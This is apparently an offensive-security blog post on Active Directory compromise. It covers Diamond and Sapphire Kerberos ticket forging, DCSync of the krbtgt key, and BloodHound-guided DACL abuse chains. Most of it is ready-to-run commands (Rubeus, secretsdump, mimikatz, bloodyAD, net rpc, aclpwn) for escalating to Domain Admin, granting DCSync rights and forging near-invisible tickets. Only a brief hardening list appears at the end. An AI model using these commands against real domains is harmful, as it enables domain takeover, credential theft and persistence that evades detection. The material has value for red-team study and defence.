LIVE ANALYSIS May 16, 2026

Diamond Tickets, Sapphire Tickets, and the DACL Chains Nobody Checks

Golden Tickets get caught. Silver Tickets have limitations. Diamond and Sapphire Tickets modify legitimate TGTs issued by the KDC, making them nearly invisible. Combined with DACL abuse chains, this is the current state of the art in AD persistence and escalation.

#Active Directory #Kerberos #Diamond Ticket #Sapphire Ticket #DACL #Persistence #Rubeus

Golden Tickets were the endgame for years. Forge a TGT offline with the krbtgt hash, set any PAC you want, and you own the domain. Then MDI, ATA, and custom detection rules started catching them. The tells: TGT issued without a corresponding AS-REQ on the DC, PAC with impossible group memberships, encryption downgrade to RC4 when the domain uses AES.

Diamond and Sapphire Tickets solve all of that. Instead of forging a TGT from scratch, they modify a legitimate TGT obtained through a real AS-REQ to the KDC. The KDC issued it. The KDC logged it. The encryption matches the domain policy. The only thing that changed is the PAC inside.

Diamond Tickets

A Diamond Ticket is a legitimate TGT where the PAC has been decrypted, modified, and re-encrypted.

How It Works

  1. Perform a standard AS-REQ for a low-privileged user
  2. Receive a legitimate TGT from the KDC
  3. Decrypt the PAC using the krbtgt AES256 key
  4. Modify the PAC: add the target user’s SID, inject group memberships (Domain Admins, Enterprise Admins, etc.)
  5. Re-encrypt the PAC and re-sign the ticket

The result is a TGT that the KDC actually issued, with all the right metadata, that now contains a Domain Admin PAC.

Execution with Rubeus

Rubeus.exe diamond /krbkey:<krbtgt_aes256> /user:lowpriv /password:pass /enctype:aes256 /domain:domain.local /dc:dc01.domain.local /ticketuser:administrator /ticketuserid:500 /groups:512,513,520

Parameters breakdown:

  • /krbkey: the krbtgt AES256 key (from DCSync)
  • /user + /password: your low-priv account for the real AS-REQ
  • /ticketuser + /ticketuserid: the identity you want in the PAC
  • /groups: group RIDs to inject (512=Domain Admins, 520=Group Policy Creator Owners)

Why Detection Fails

  • AS-REQ exists on the DC: the authentication event (4768) is real
  • Encryption type matches: AES256, same as every other TGT
  • Timestamp is valid: issued by the KDC at a real time
  • No Event 4769 anomaly: the service ticket requests that follow look normal

The only theoretical detection: compare the PAC group membership against the actual group membership in AD for the claimed user. Almost nobody does this at scale.

Sapphire Tickets

Sapphire Tickets take it one step further. Instead of crafting a PAC manually (which could contain invalid SIDs or impossible group combinations), a Sapphire Ticket obtains the legitimate PAC of the target user via S4U2Self and grafts it into the modified TGT.

The Difference

AspectDiamondSapphire
PAC sourceManually craftedObtained via S4U2Self
PAC accuracyMay contain inconsistenciesExact copy of real PAC
Group membershipsManually specifiedReflects actual AD state
Detection surfaceSlightly largerMinimal

Execution with Rubeus

Rubeus.exe diamond /krbkey:<krbtgt_aes256> /user:lowpriv /password:pass /enctype:aes256 /domain:domain.local /dc:dc01.domain.local /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg

The /tgtdeleg flag (combined with S4U2Self flow) fetches the real PAC for the target user before injection. The resulting ticket is indistinguishable from one the KDC would issue if the target user authenticated directly.

Prerequisite: Getting the krbtgt Key

Both techniques require the krbtgt AES256 key. Standard paths:

secretsdump.py domain.local/admin@dc01.domain.local -just-dc-user krbtgt

Or via Mimikatz:

lsadump::dcsync /domain:domain.local /user:krbtgt

If you already have DA, Diamond/Sapphire Tickets become a persistence mechanism rather than an escalation path. The key insight: even after a password reset wave, if the krbtgt key wasn’t rotated twice, your tickets still work.

DACL Abuse Chains: How You Get There

The gap between “initial foothold” and “krbtgt key” is where DACL chains come in. Most AD environments have transitive permission paths from regular users to high-value targets. The problem is they’re invisible without graph analysis.

BloodHound Edges That Matter

Tier 1 (direct compromise):

  • GenericAll on user → password reset or Shadow Credentials
  • GenericAll on computer → RBCD or Shadow Credentials
  • WriteDACL on anything → grant yourself GenericAll, then proceed
  • WriteOwner → take ownership, modify DACL, grant yourself permissions

Tier 2 (indirect chains):

  • AddMember on a group containing DA → add yourself
  • ForceChangePassword on a user with DCSync rights
  • GenericWrite on a user → set SPN (targeted Kerberoasting) or modify scriptPath for code execution at logon
  • AllExtendedRights on a computer → read LAPS password

Tier 3 (multi-hop):

  • GenericAll on OU → inheritable ACE propagation to all child objects
  • WriteDACL on the domain head → grant DCSync rights to any user
  • GenericWrite on GPO → link to OU containing DCs → code execution on DCs

The Chain in Practice

# 1. Enumerate attack paths
bloodhound-python -d domain.local -u user -p pass -ns 10.10.10.1 -c all

# 2. Find chains to DA (in BloodHound GUI)
# Right-click DA group → Shortest Paths to Here

# 3. Example chain: user → GenericAll on Group → AddMember → DA
net rpc group addmem "Domain Admins" "attacker" -U domain/attacker%pass -S dc01.domain.local

# 4. Or more subtly: user → WriteDACL on domain → grant DCSync
bloodyAD -u attacker -p 'pass' -d domain.local --host 10.10.10.1 add dcsync attacker
secretsdump.py domain.local/attacker:pass@10.10.10.1 -just-dc-user krbtgt

aclpwn: Automated Chain Walking

aclpwn.py automates DACL chain exploitation. It reads BloodHound data and automatically exploits the shortest path:

aclpwn -f attacker -ft user -t "Domain Admins" -tt group -d domain.local -s neo4j_host

It modifies each ACL along the path, performs the escalation, then restores the original DACLs for cleanup.

Combining Everything

The full chain in a real engagement:

  1. Enumerate with BloodHound → find DACL path to a user with DCSync rights
  2. Exploit the chain → get DCSync capability
  3. DCSync krbtgt → obtain AES256 key
  4. Forge Sapphire Ticket → authenticate as any user with a real PAC
  5. Cleanup DACLs → restore original permissions
  6. Persist → Sapphire Tickets remain valid until krbtgt is rotated twice

The beauty of this flow: steps 1-3 create audit events, but step 4 onward is nearly invisible. By the time you’re using Sapphire Tickets, the only artifact is an AS-REQ from a legitimate low-priv user that was already in your control.

Hardening

  • Rotate krbtgt password twice with at least 12h between rotations (one rotation leaves the previous key valid)
  • Monitor Event 4662 for DCSync-related operations (DS-Replication-Get-Changes-All)
  • Deploy Microsoft ATA/MDI with PAC validation rules
  • Audit DACLs quarterly. Use PingCastle or Purple Knight for automated DACL analysis
  • Implement AdminSDHolder and SDProp monitoring for protected group modifications
  • Tier your AD administration. No daily-use account should have write access to Tier 0 objects